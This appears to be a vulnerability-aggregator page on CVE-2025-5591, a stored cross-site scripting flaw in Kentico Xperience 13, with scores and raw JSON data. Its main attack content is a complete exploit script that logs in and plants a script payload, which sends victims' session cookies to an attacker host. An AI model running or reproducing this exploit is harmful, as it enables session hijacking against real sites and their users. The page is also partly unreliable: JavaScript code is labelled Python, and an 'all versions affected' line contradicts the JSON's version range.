Security Vulnerability Report
中文
CVE-2025-5591 CVSS 5.4 MEDIUM

CVE-2025-5591

Published: 2026-01-05 01:15:52
Last Modified: 2026-01-22 17:32:40

Description

Kentico Xperience 13 is vulnerable to a stored cross-site scripting attack via a form component, allowing an attacker to hijack a victim user’s session and perform actions in their security context.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:* - VULNERABLE
Kentico Xperience 13 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-5591 PoC - Stored XSS in Kentico Xperience 13 Form Component // Author: Security Researcher // Target: Kentico Xperience 13 const axios = require('axios'); // Configuration const TARGET_URL = 'https://target-site.com'; const ATTACKER_SERVER = 'https://attacker-controlled.com'; const USERNAME = 'attacker_user'; const PASSWORD = 'password123'; // Malicious XSS Payload const xssPayload = `<script> // Steal session cookies fetch('${ATTACKER_SERVER}/log?cookie=' + encodeURIComponent(document.cookie)) .then(response => response.text()) .then(data => console.log('Cookie sent')) .catch(err => console.error('Error:', err)); </script>`; async function exploit() { try { // Step 1: Authenticate to Kentico Xperience const loginResponse = await axios.post(`${TARGET_URL}/CMSPages/logon.aspx`, { username: USERNAME, password: PASSWORD }, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }); const cookies = loginResponse.headers['set-cookie']; console.log('[+] Authentication successful'); // Step 2: Navigate to Form Component const formPage = await axios.get(`${TARGET_URL}/CMSModules/WebForms/Controls/Form.aspx`, { headers: { Cookie: cookies.join(';') } }); // Step 3: Submit form with XSS payload const submitResponse = await axios.post(`${TARGET_URL}/CMSModules/WebForms/Controls/Form.aspx`, { 'formField_0': xssPayload, 'btnSubmit': 'Submit' }, { headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookies.join(';') } }); console.log('[+] XSS payload submitted successfully'); console.log('[+] Payload stored in form component'); console.log('[+] Any user viewing this form will trigger the XSS'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-5591", "sourceIdentifier": "[email protected]", "published": "2026-01-05T01:15:51.617", "lastModified": "2026-01-22T17:32:40.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kentico Xperience 13 is vulnerable to a stored cross-site scripting attack via a form component, allowing an attacker to hijack a victim user’s session and perform actions in their security context."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-1188"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.0", "versionEndExcluding": "13.0.167", "matchCriteriaId": "C1E6D459-B07A-4009-83D9-3A51360D29A9"}]}]}], "references": [{"url": "https://www.themissinglink.com.au/security-advisories/cve-2025-5591", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}